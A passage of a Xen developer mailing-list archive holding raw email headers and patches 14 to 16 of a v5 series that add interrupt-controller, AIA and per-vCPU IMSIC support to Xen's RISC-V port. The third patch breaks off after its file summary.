        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=A/ZtxrvuTd4UkEQ4i2TfmlJT/OYOaHL0n4xPwr38eXk=;
        b=kUpkabMgxHYp3UPZJeggzWire7uZoXJmTS5BW7mE4/1l3WF+k2FbsLY23r1jvp+Z3Q
         SV8bbpavhmIDWZCPHJUvtmQgkq9hl1XBQADhySb5CNyf9bN26kXNCGUIF+ydv7rBzHpn
         QnLh+a932BoHA/n9kDrG6T5YPSZ2eHgc8gQBzT+bZxms0CA5yeH7o60yuqt6fx5btaDJ
         ujItJeM1Ws/zD8RWqhDpkq6fJQwjFUz+AnosdJtv3SQalJJXjalQmDj7e7ztbpOMzBmA
         2MFdtAoVtIyVAXngCGMj08P5ultmlbP/169EgI+ypfjl+Njw9taZ80MwUnuYykGdrh/1
         ewAg==
X-Gm-Message-State: AOJu0Yx+KTtavx4mQQU4SEWlkyKFeW57U9aodgo/5zRQdj4EQcdSZ57l
	zxbP+YA2Zgw8HdwvoyG62Hn1G/MOk7NoWsr2N37X9mvPPT/52/bBWA0x62wE+w==
X-Gm-Gg: AfdE7cl3tEeCrde5gK9jVGmAtZVF2U5Ip0K3plgZCOuEwtJOMN0FXKilLUeX56W0xUJ
	vg31B7Ea5AxUAS9xrFrGLTM83HaPDB1Oo/VZMn516i8Q+Pxfd0F+BLUrFx/QISeQUFgJLu1/caR
	QRSCTp110nhxFAqAjEs3pADJCwMumw0VXPffUKH2+rUNgziQ0jHZnKQozalMEMY89eNm5dOOd12
	9z9cQXlns7W6EZqN+NbStd+3812Ngt/ZwdpA/nJoabCpCk5psj5/SUgfkHA+lF+yF2MA1sxJNEf
	vFUJ4IelERluUBz7RqVTGYc/21nucreQFKTlzhTps9r8uXKVzehFwoi3fcypbJ33MDiKCUY7L/1
	2qhnrcCupgj5xN68h8RBkk0U7sibuRKNtu9NvmM0UjUoZXu0OnxT8twvG5E7idqHOcPuZr7tSuN
	ubnO9ARfVS578L1ju/gnnscswJUY59dtFoD+3AFgWZvK/wUZ1sUfbPAplgYzryjhzh90lO
X-Received: by 2002:a05:600c:820f:b0:493:aa28:38ad with SMTP id 5b1f17b1804b1-493df06a2d2mr13017205e9.10.1783353517711;
        Mon, 06 Jul 2026 08:58:37 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 14/26] xen/riscv: implement make_intc_domU_node()
Date: Mon,  6 Jul 2026 17:57:55 +0200
Message-ID: <b9ceb87a7160b75538e1887f1457d6852fea619a.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1783353518-822DD1E0-05FB12CC/10/73395122804
X-purgate-type: spam
X-purgate-size: 3451

Introduce a RISC-V specific function to create an interrupt controller
Device Tree node for DomU domains during dom0less build.

Add make_intc_domU_node() to the dom0less build path and wire it to
a new generic helper, intc_make_domu_dt_node(), which delegates DT
node creation to the active interrupt controller implementation via
vintc_init_ops.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Nothing changed. Onlye rebase.
---
Change in v4:
 - Made local variable vintc pointer-to-const.
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v3:
 - Use const struct vintc_init_ops *init_ops in struct vintc.
 - Drop redundant intc_hw_ops check in make_intc_domU_node().
 - Drop NULL pointer checks in make_intc_domU_node() as we can't start domU
   without properly created interrupt contoller node.
---
Changes in v2:
 - s/intc_make_domu_dt_node/make_intc_domU_node.
 - introduce separate intc_hw_init_ops structure for init operations.
 - Return -EOPNOTSUPP instead of -ENOSYS.
 - Drop const for kinfo argument as it could be changed by interrupt
   controller node creation code.
 - Refactor make_domu_dt_node().
 - Make make_domu_dt_node part of vintc structure as it looks more logical to be
   there.
---
---
 xen/arch/riscv/include/asm/domain.h |  2 ++
 xen/arch/riscv/include/asm/intc.h   | 10 ++++++++++
 xen/arch/riscv/intc.c               |  8 ++++++++
 3 files changed, 20 insertions(+)

diff --git a/xen/arch/riscv/include/asm/domain.h b/xen/arch/riscv/include/asm/domain.h
index 235b20f8a6ba..bdc6086a1752 100644
--- a/xen/arch/riscv/include/asm/domain.h
+++ b/xen/arch/riscv/include/asm/domain.h
@@ -97,6 +97,8 @@ struct arch_domain {
     struct paging_domain paging;
 
     DECLARE_BITMAP(isa, RISCV_ISA_EXT_MAX);
+
+    struct vintc *vintc;
 };
 
 #include <xen/sched.h>
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index d7b34fc15ad1..a4e678fad90b 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -16,6 +16,7 @@ enum intc_variant {
 
 struct cpu_user_regs;
 struct irq_desc;
+struct kernel_info;
 
 struct intc_info {
     enum intc_variant hw_variant;
@@ -47,6 +48,15 @@ struct intc_hw_init_ops {
     int (*init)(void);
 };
 
+struct vintc_init_ops {
+    /* Create interrupt controller node for domain */
+    int (*make_domu_dt_node)(struct kernel_info *kinfo);
+};
+
+struct vintc {
+    const struct vintc_init_ops *init_ops;
+};
+
 void intc_preinit(void);
 
 void register_intc_ops(const struct intc_hw_init_ops *init_ops);
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index 3600d23bdb5b..e63da5e22efc 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -3,6 +3,7 @@
 #include <xen/acpi.h>
 #include <xen/bug.h>
 #include <xen/device_tree.h>
+#include <xen/fdt-kernel.h>
 #include <xen/init.h>
 #include <xen/irq.h>
 #include <xen/lib.h>
@@ -72,3 +73,10 @@ void intc_route_irq_to_xen(struct irq_desc *desc, unsigned int priority)
     intc_set_irq_type(desc, desc->arch.type);
     intc_set_irq_priority(desc, priority);
 }
+
+int __init make_intc_domU_node(struct kernel_info *kinfo)
+{
+    const struct vintc *vintc = kinfo->bd.d->arch.vintc;
+
+    return vintc->init_ops->make_domu_dt_node(kinfo);
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355515.1610392 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliU-0001xu-Iw; Mon, 06 Jul 2026 15:58:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355515.1610392; Mon, 06 Jul 2026 15:58:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliT-0001uu-N8; Mon, 06 Jul 2026 15:58:41 +0000
Received: by outflank-mailman (input) for mailman id 1355515;
 Mon, 06 Jul 2026 15:58:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliS-0001WN-6d
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliR-003COz-JC
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:39 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd09f-2eae-0a2a0a5409dd-0a2a450ce8e8-28
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:39 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0af-f399-0a2a450c0019-d1558030bcbc-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:39 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so22318155e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:39 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.37
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353519; x=1783958319; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=bw1hrTkQ2ATB1SLL0iu4tNbNK40JrBmaLHXXypeFp0c=;
        b=G5BuSYH2B8KrqFyPfTYjy63tfVs3pGADWoimSOdjh3AevIvD8e6lhtuBZYuCloIqrf
         uDHIQDacN9OXPSxwZvC1N3v5UrjE+wAPY7uIQBcCS3jm4+KKAZ9sB9Qhn9X4GaqTI97t
         TaDAOnkC5aPU6k7+5lzOCfypPFjui0fSx8Ch4HpRAFFNY9rRUBduxmETzFN9/6fBIzhI
         P/ojgGXwdZIYvDBbOHSZbQuGHgAKbwRUzq24/WxRpP1EAHTNdHnnJ/CCfMNlKcYAEQGN
         C7lxK9hPQ6nghICaQwebfmFcExA4/5vLxLKnpt+lVC64w3E5XPlUwh2uAhn9AkUUA/aU
         CPdg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353519; x=1783958319;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=bw1hrTkQ2ATB1SLL0iu4tNbNK40JrBmaLHXXypeFp0c=;
        b=cdfI12epNHLYRusUlle/NU+vzMU4NG+3btMwkqsFIrTA3Tm+sToPFikcHbRlYNhmJb
         CHH3jBshvcRhhEMNXErJvIs2AnUYUdpMKuaQRymB5OKOIErqaGpXYdDWCtZ406bVS5JE
         uv1wXkQ7ciFwAeZjnyCdASo4GJdMBZog3xP31mtfda1cVW/B6OS9ecp8nzDCF2surNsv
         QB6MKoRKnPAbfJSrYpUuRvc3bL/KMS+kpmAV92rpZ1krCQ/dJ/y4VEk/7OO7++qQD/tH
         RDNtiV6bDApyDioAu+Hp+VjRuedTXG340yfFOsrETQUZNOs+27OnaQrr7guFzhFIRooH
         FCLQ==
X-Gm-Message-State: AOJu0Yx9Tzs1jJ8ptDXuILADxBTeNpaXTiBQbjFS/NpHNHM/C1UF9wJf
	0kjJyDwflFPUvvTwIzGrLgP3dXxABhWsfWWt0Yzw0agI0IXiy0vn2bp05il79A==
X-Gm-Gg: AfdE7cmp2x6UgYnfG7R7ECb5+a1cOIsiEPkqE3HgsS2Xmnp2F/5/dq5m8793YB/mm84
	WMFEEm2AnBFDzu2/nvvdX0qdVP0jqZ6MLJsnLDdxvCpFhuyNwgikXHB7CQOS+eWYKnft9CuG96P
	LqWpnoRcowIO5/O/FSZfsXTHMLrHtTrBboJD1yhW2ds9kGAgGXQHyb1PWOjFRnVx3TETqxDjNGo
	o/IBSUSxSjDd334wtktbqyi4jPMsRteDJWioTR0Xg/443EEIfypwjLw4ZC9cXxguC/giOFjZUv5
	vnH59P7fJiNZm9KndxeO5couzAvokf7UngbSs3q7ekTW1AJsMhpp0mZcwyxArczAw650NEdcLs3
	T9NZRzPR7bF+TgjTBE/ripR4M+JMua1xTUPHILV74QlPOG2O0an1gKiLE8U6XLf4lrzKpLufRbR
	YlBZu7HyoP4ncItwom6F1UuoVL3KpXGzheuFWsS2buvU66b9w/TTlwOSyiG2ZNP9egfvTF
X-Received: by 2002:a05:600c:6385:b0:493:bfea:2780 with SMTP id 5b1f17b1804b1-493df4af8d1mr4920195e9.9.1783353518979;
        Mon, 06 Jul 2026 08:58:38 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 15/26] xen/riscv: introduce aia_init() and aia_usable()
Date: Mon,  6 Jul 2026 17:57:56 +0200
Message-ID: <c19523e3ea4dda45205202c7a90ae272103526af.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1783353519-0D727D51-0199B8CA/10/73395122804
X-purgate-type: spam
X-purgate-size: 3183

aia_init() is going to contain all the logic related to AIA initialization.

At the moment, it only checks whether the SSAIA extension is available,
and if so, sets is_aia_usable (which  indicates more than just the
availability of the extension) to true; it also signifies that the necessary
components (to be introduced in follow-up patches) have been initialized.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Update the guards in asm/aia.h according to CODING_STYLE:
   s/ASM__RISCV__AIA_H/RISCV_AIA_H.
---
Changes in v4:
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v3:
 - s/is_aia_usable/_aia_usable to drop the is_ prefix while avoiding
   conflict with the aia_usable() function name.
---
Changes in v2:
 - s/is_aia_available/is_aia_usable.
 - Drop return value for aia_init().
 - s/aia_available()/aia_usable().
---
---
 xen/arch/riscv/Makefile          |  1 +
 xen/arch/riscv/aia.c             | 23 +++++++++++++++++++++++
 xen/arch/riscv/include/asm/aia.h | 10 ++++++++++
 xen/arch/riscv/intc.c            |  3 +++
 4 files changed, 37 insertions(+)
 create mode 100644 xen/arch/riscv/aia.c
 create mode 100644 xen/arch/riscv/include/asm/aia.h

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index fd5e499eb4b9..9df8b72b5494 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -1,3 +1,4 @@
+obj-y += aia.o
 obj-y += aplic.o
 obj-y += cpufeature.o
 obj-y += domain.o
diff --git a/xen/arch/riscv/aia.c b/xen/arch/riscv/aia.c
new file mode 100644
index 000000000000..e31c9c2d24b6
--- /dev/null
+++ b/xen/arch/riscv/aia.c
@@ -0,0 +1,23 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#include <xen/errno.h>
+#include <xen/init.h>
+#include <xen/sections.h>
+#include <xen/types.h>
+
+#include <asm/cpufeature.h>
+
+static bool __ro_after_init _aia_usable;
+
+bool aia_usable(void)
+{
+    return _aia_usable;
+}
+
+void __init aia_init(void)
+{
+    if ( !riscv_isa_extension_available(NULL, RISCV_ISA_EXT_ssaia) )
+        return;
+
+    _aia_usable = true;
+}
diff --git a/xen/arch/riscv/include/asm/aia.h b/xen/arch/riscv/include/asm/aia.h
new file mode 100644
index 000000000000..aaa4bf91fc75
--- /dev/null
+++ b/xen/arch/riscv/include/asm/aia.h
@@ -0,0 +1,10 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef RISCV_AIA_H
+#define RISCV_AIA_H
+
+bool aia_usable(void);
+
+void aia_init(void);
+
+#endif /* RISCV_AIA_H */
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index e63da5e22efc..2864a896b677 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -9,6 +9,7 @@
 #include <xen/lib.h>
 #include <xen/spinlock.h>
 
+#include <asm/aia.h>
 #include <asm/intc.h>
 
 static const struct intc_hw_operations *__ro_after_init intc_hw_ops;
@@ -33,6 +34,8 @@ void __init intc_init(void)
 {
     ASSERT(intc_hw_init_ops && intc_hw_init_ops->init);
 
+    aia_init();
+
     if ( intc_hw_init_ops->init() )
         panic("Failed to initialize the interrupt controller drivers\n");
 }
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355519.1610399 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliW-0002Qz-F6; Mon, 06 Jul 2026 15:58:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355519.1610399; Mon, 06 Jul 2026 15:58:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliV-0002OI-ML; Mon, 06 Jul 2026 15:58:43 +0000
Received: by outflank-mailman (input) for mailman id 1355519;
 Mon, 06 Jul 2026 15:58:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliT-0001mr-AA
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliS-003COz-NC
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:40 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd092-2eae-0a2a0a5409dd-0a2a4502b80a-46
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:40 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0b0-5a27-0a2a45020019-d1558029e442-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:40 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-493bc8fda98so35469985e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:40 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.39
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353520; x=1783958320; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=FHkgIPf46HKPOxJxqgCmDuDrFwFnSVGNxj+iOnJ7uQ0=;
        b=CCh6zxhC3iUas9wAlCoEZ9Q4JbJWYVcmSEunx7SjDLGNwxQ594Jz7o/FV7cYPdIZVL
         h5bVYyYgAmS2ADNl9a0Eb3fn+My+L+mktap4MPDy4l/BBXZIvSn+Q5PzGXKO7K8jMbj9
         kUEpEILaZaTpctWWCNEs1e1wn1wp5qG9Fc8gZK7jReg8Gn6NXULVyp4asw7zIaNiqco2
         fMguOjSwZkXn0+FekZomsDi80MMY70Lq8/yCk7BDNgJlnK/An4BD8zXaSfDx/wkqNjWC
         2lixyBrLEgEtJ6h8ryDaegP6mVeScTZ8eOFwboPg9jbmrwSxyo8Xp6n/sVDJx3I8jnJQ
         p9bg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353520; x=1783958320;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=FHkgIPf46HKPOxJxqgCmDuDrFwFnSVGNxj+iOnJ7uQ0=;
        b=IIIXWwjkOecRtqlDOSF0QeREPTyF0IFJanwDl7cWrOlkhq4Bj01xZ3pY1wPBxpUVcj
         NossPFXtAuwySvc4YMn5rxMSUWnKXjomhZdZo5ovJ7z/oiaF1kSWxoNGiV0XjHL+RM1N
         15R6QlMWQ9IOD84OJWRNerLxS811HaNO8umR9Fbh/Nmbn3HexF7yr+VbXWYSg5dKAg9w
         N1BD+ceXP8xpkFrn5saQGBUTf3rFu4PGMS1uUNclwjpboi1ps0Bha1zf5lrty5oWlOLH
         t2oUVqgqZ7DqlbzT7AWCPC6UXYc/CksJavLjeZVYoC/z5H81LjE9QDqeaGZ44MMMExkd
         mzow==
X-Gm-Message-State: AOJu0Yz5Wo9xc1/U/ZZXPbHFLQYlm+aB5B10TrRU1KqzndekQdSLzVZ2
	BRfHv/m95BHA6XBC53MPcyzGsjJaM1M7T85D8DfVOZD+5s2IwA1PQhexwoZr1Q==
X-Gm-Gg: AfdE7cnU4TN59wiKpRIpjRePMfjLSYvEjWmKFpz3e7OrK0m1TSW7lO6XlJ2SYYJ6jHP
	hd6uD3sEksrtTr+zkLbmp1rVoM41kc3Xp261/GIbajLp08FbnSuPXfMhnW8fieTRzA5gMd22G9U
	2U+auv8u9Zmigj/c8JPer+1yUzJDhWR88VwGW4q3c5Rbl7k3luZD2ODozrY2hy09ja3j34Uzz8Y
	ajsQW06TpWoB53tDZw7KrHm4kdk3F7/oSXOaMJyGyWF2MKq1f0e1mU0nvb3vCUxqSMmhAw7tqx2
	YP1bsD5hV00yokCvpR0XLOR+ozPUCYgg/HfWksytEPcKJ8uIzfeMmNizY3VelIPxb+bnjtYvxNA
	HdO7EGhuWMjruLj2nvt9ZbWbGKlm61WgTTyXFxfc2JUsOfQvtjBI4aDBTxzR4qGWC9IABuJTUFn
	enOIwINZb5WqqwytTtmRs9BOq2y+bn4sjOCcouZ9RAjgPjVxpCIE1IhGWbNw==
X-Received: by 2002:a05:600c:8b82:b0:493:bd2a:93bb with SMTP id 5b1f17b1804b1-493df038790mr14690605e9.3.1783353520093;
        Mon, 06 Jul 2026 08:58:40 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 16/26] xen/riscv: introduce per-vCPU IMSIC state
Date: Mon,  6 Jul 2026 17:57:57 +0200
Message-ID: <5d7e0342ac4eeb65defd58a923267c4b0f8029b7.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783353520-4D50C7C5-F6A1770B/10/73395122804
X-purgate-type: spam
X-purgate-size: 6433

Each vCPU interacting with the IMSIC requires state to track the
associated guest interrupt file and its backing context.

Introduce a per-vCPU structure to hold IMSIC-related state, including
the guest interrupt file identifier and the CPU providing the backing
VS-file. Access to the guest file identifier is protected by a lock.

Initialize this structure during vCPU setup and store it in arch_vcpu.
The initial state marks the VS-file as software-backed until it becomes
associated with a physical CPU.

Add helper to retrieve the guest interrupt file identifier:
- vcpu_guest_file_id() is going to be used during update of APLIC's
  target register with the pair of information <guest_file_id, cpu_id>
  (to have MSI delivery mode work properly) when guest is trying to
  access vAPLIC's target register.
It will be used in the follow up patches.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Move v->arch.vimsic_state = imsic_state; after full initialization of
   the struct, so the pointer only becomes globally visible once all
   fields are set up.
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v4:
-  s/w vs h/w IMSIC VS-file commentary for struct vimsic_state:
   - fix the vsfile_pcpu h/w condition:
     "vsfile_pcpu >= 0" -> "vsfile_pcpu < NR_CPUS"
     (the old wording conflicted with the s/w "== NR_CPUS" case).
   - reorder both comment blocks to the "s/w ... / h/w ..." form for readability.
 - drop IMPOSSIBLE_GUEST_FILE_ID: the s/w IMSIC VS-file is always available
   and corresponds to guest_file_id == 0, which xvzalloc() already provides,
   so the explicit initializer in vcpu_imsic_init() and the macro itself
   are unneeded.
---
Changes in v3:
 - Drop const from imsic_set_guest_file_id() and vcpu_imsic_deinit() as
   it only works due to vimsic_state being a pointer member.
 - Use XVFREE() in vcpu_imsic_deinit() to make it idempotent.
 - Fix SW-file typo in struct vimsic_state comments; should be VS-file.
 - Drop imsic_set_guest_file_id() here, it will be added later when it
   will be nessary to initialise guest file id as the correspondendt code
   in this patch series was reworked and there is no need to use this
   function in arch_vcpu_create().
 - Introduce IMPOSSIBLE_GUEST_FILE_ID and init with it ->guest_file_id.
---
Changes in v2:
 - Rename imsic_state to vimsic_state.
 - Use 'unsigned int' for vsfile_pcpu.
 - Drop initialzation of ->guest_file_id as it will be by default zero.
 - Add the comment about ->guest_file_id field.
 - Drop __init for vcpu_imsic_init() as it could be used during post-boot
   vCPU creation.
 - Update the commit message.
 - Drop locks around ->guest_file_id() in  vcpu_guest_file_id() and imsic_set_guest_file_id().
---
---
 xen/arch/riscv/imsic.c              | 35 +++++++++++++++++++++++++++++
 xen/arch/riscv/include/asm/domain.h |  2 ++
 xen/arch/riscv/include/asm/imsic.h  | 22 ++++++++++++++++++
